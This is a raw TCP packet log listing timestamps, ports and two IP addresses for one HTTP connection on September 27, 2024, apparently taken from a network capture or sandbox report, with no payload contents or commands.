Sep 27, 2024 18:29:05.752506018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752511978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752523899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752532005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752536058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752556086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752563000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752588987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.753252029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753269911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753278971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753288984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753298998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753304005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753309011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753319025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753320932 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.753329992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753330946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.753343105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753354073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753360987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.753365040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753376961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753376961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.753386974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753401041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753403902 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.753412008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753422022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.753424883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753437996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753444910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.753453970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.753465891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.753488064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.753510952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.785423994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.785434961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.785444975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.785515070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.785517931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.785526991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.785548925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.785603046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.785691977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.785691977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.785691977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.785691977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.786436081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.786499977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.786501884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.786514044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.786547899 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.786561966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.786628962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.786640882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.786650896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.786660910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.786674976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.786698103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.786709070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.786725998 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.786753893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.787118912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787167072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.787173033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787182093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787214041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.787225008 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.787271023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787281036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787291050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787301064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787316084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.787343979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.787431955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787441969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787481070 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.787497997 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.787524939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787535906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787544966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787554979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787570953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.787584066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.787605047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.787628889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.787672043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.788269997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788320065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788321018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.788336039 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788364887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.788373947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788379908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.788383961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788415909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.788429976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.788441896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788464069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788480997 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.788495064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.788798094 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788815022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788822889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788851976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.788877964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788878918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.788888931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.788919926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.788930893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789001942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789036989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789056063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789066076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789096117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789108038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789167881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789177895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789191961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789203882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789211035 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789232969 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789258003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789273977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789315939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789383888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789395094 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789405107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789414883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789423943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789427042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789438009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789438009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789458036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789482117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789580107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789591074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789599895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789623022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789643049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789894104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789933920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789942026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789952040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789972067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.789982080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.789994001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.790009022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.790060043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.790075064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.790086031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.790093899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.790105104 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.790121078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.790144920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.790976048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.790987015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.790997028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791007042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791028023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.791049957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791053057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.791089058 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.791130066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791140079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791157007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791177988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.791177988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.791196108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.791840076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791862965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791872025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791889906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.791903019 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.791913033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.791915894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791928053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791955948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.791980028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.791989088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.791997910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.792006969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.792028904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.792046070 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.792207956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.792251110 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.792263031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.792273045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.792283058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.792304993 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.792320013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.792391062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.792433977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.792435884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.792443991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.792454004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.792471886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.792484045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.792498112 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.793051004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.793085098 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.793095112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.793097019 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.793126106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.793139935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.793183088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.793194056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.793203115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.793212891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.793226957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.793241024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.793263912 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.794284105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.794322968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.794332981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.794352055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.794364929 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.794429064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.794439077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.794456005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.794466019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.794467926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.794492006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.794503927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.794955015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.794992924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.795001984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.795002937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.795041084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.795041084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.795047998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.795058966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.795069933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.795089006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.795101881 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.795110941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.795133114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.795142889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.795173883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.795192957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.809602022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.809612989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.809623957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.809689999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.809693098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.809700012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.809711933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.809721947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.809864044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.809864044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.809864044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.883805037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.883843899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.883852959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.883896112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.883894920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.883908987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.883908987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.883928061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.883939028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.883949041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.883955956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.883975029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.883990049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.884524107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884541035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884556055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884579897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.884593010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.884692907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884704113 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884713888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884725094 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884738922 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.884764910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.884852886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884862900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884879112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884888887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884890079 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.884900093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884910107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884919882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.884923935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.884947062 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.884958029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.887186050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.887233973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.930054903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.123704910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.306993961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307013988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307032108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307044029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307060003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307143927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307154894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307166100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307208061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307209015 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307235956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307235956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307243109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307252884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307285070 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307307959 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307329893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307339907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307348967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307372093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307399035 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307499886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307538033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307542086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307547092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307575941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307590961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307640076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307650089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307661057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307672024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307678938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307704926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307728052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.307760954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.307820082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.308278084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.308326006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.308341026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.308351994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.308384895 CEST	60865	80	192.168.2.4	194.87.29.53
